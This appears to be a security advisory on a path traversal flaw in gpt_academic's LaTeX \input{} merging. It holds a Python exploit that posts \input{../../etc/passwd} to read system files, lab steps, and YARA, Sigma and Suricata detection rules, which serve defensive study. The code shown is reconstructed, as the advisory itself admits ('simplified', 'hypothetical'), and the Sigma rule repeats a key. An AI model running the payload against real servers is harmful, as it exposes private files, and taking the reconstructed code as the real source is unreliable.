CVE-2025-10236

Executive Summary

CVE-2025-10236 is a path traversal vulnerability discovered in the merge_tex_files_ function within the crazy_functions/latex_fns/latex_toolbox.py file of the binary-husky/gpt_academic project, affecting versions up to 3.91. The vulnerability allows an attacker to manipulate the /input{} argument to traverse directories and read arbitrary files on the server. The attack can be launched remotely without authentication, and a proof-of-concept has been publicly disclosed. The vendor was contacted but did not respond, leaving the vulnerability unpatched at the time of analysis.

Supply Chain & Package Security

This vulnerability affects the Python package gpt_academic, which is distributed via PyPI. Users who install this package from PyPI are at risk if they are running a vulnerable version. The lack of a patch from the vendor means that supply chain security is compromised, and users must rely on manual mitigation or forking the repository to apply a fix.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is medium due to the low complexity and network-based attack vector, but the impact is limited to low confidentiality loss (file read). No integrity or availability impact is present.

Deep Dive & Mechanics

The vulnerability resides in the merge_tex_files_ function, which is designed to merge LaTeX files by processing \input{} commands. The function does not properly sanitize or validate the file path provided in the \input{} argument. An attacker can supply a path containing directory traversal sequences (e.g., ../../etc/passwd) to read arbitrary files from the server's filesystem.

The function likely uses Python's open() or similar file operations without restricting the base directory. The lack of input validation allows an attacker to escape the intended LaTeX file directory and access sensitive system files.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

def merge_tex_files_(tex_content):
    # Process \input{} commands
    import re
    pattern = r'\\input\{([^}]+)\}'
    matches = re.findall(pattern, tex_content)
    for match in matches:
        file_path = match  # No sanitization
        with open(file_path, 'r') as f:
            content = f.read()
        # Merge content

Patched Code (hypothetical):

import os
def merge_tex_files_(tex_content, base_dir="/allowed/path"):
    import re
    pattern = r'\\input\{([^}]+)\}'
    matches = re.findall(pattern, tex_content)
    for match in matches:
        # Sanitize path
        safe_path = os.path.normpath(os.path.join(base_dir, match))
        if not safe_path.startswith(base_dir):
            raise ValueError("Path traversal detected")
        with open(safe_path, 'r') as f:
            content = f.read()
        # Merge content

The patched code uses os.path.normpath and os.path.join to resolve the path and then checks that it stays within the allowed base directory.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target_url = "http://target.com/merge_latex"
payload = "\\input{../../etc/passwd}"

data = {"tex_content": payload}
response = requests.post(target_url, data=data)
print(response.text)

Lab Setup:

1. Deploy a vulnerable instance of gpt_academic version 3.91.
2. Ensure the LaTeX file handler is accessible via HTTP.
3. Run the exploit code to read /etc/passwd.

Blue Team

Detection:

• Monitor for requests containing \input{ followed by directory traversal patterns (e.g., ../).
• Log file access attempts outside the expected LaTeX directory.
• Use the detection rules provided below.

Mitigation:

• Apply input validation to the \input{} argument.
• Restrict file operations to a specific directory using os.path.abspath and os.path.commonpath.
• Deploy a Web Application Firewall (WAF) rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to endpoints handling LaTeX files with \input{ containing ../ or absolute paths.
• File System: Unauthorized reads of files like /etc/passwd, /etc/shadow, or application configuration files.
• Logs: Error logs showing attempts to open files outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2025_10236_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in LaTeX input commands"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10236"
    strings:
        $traversal = /\\input\{[^}]*\.\.\/[^}]*\}/
    condition:
        $traversal
}

Sigma Rule

title: CVE-2025-10236 Path Traversal in LaTeX Input
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in LaTeX input commands
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10236
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '\\input{'
        c-uri|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in LaTeX files
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10236 Path Traversal in LaTeX Input"; flow:to_server,established; content:"\\input{"; http_client_body; content:"../"; http_client_body; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the LaTeX file handler if not required.
2. Short-term: Apply input validation to the \input{} argument by restricting paths to a whitelist of allowed directories.
3. Long-term: Update to a patched version once available, or fork the repository and apply the fix manually.
4. Compensating Controls: Deploy a WAF with rules to block path traversal patterns. Monitor logs for suspicious file access.

Valters IT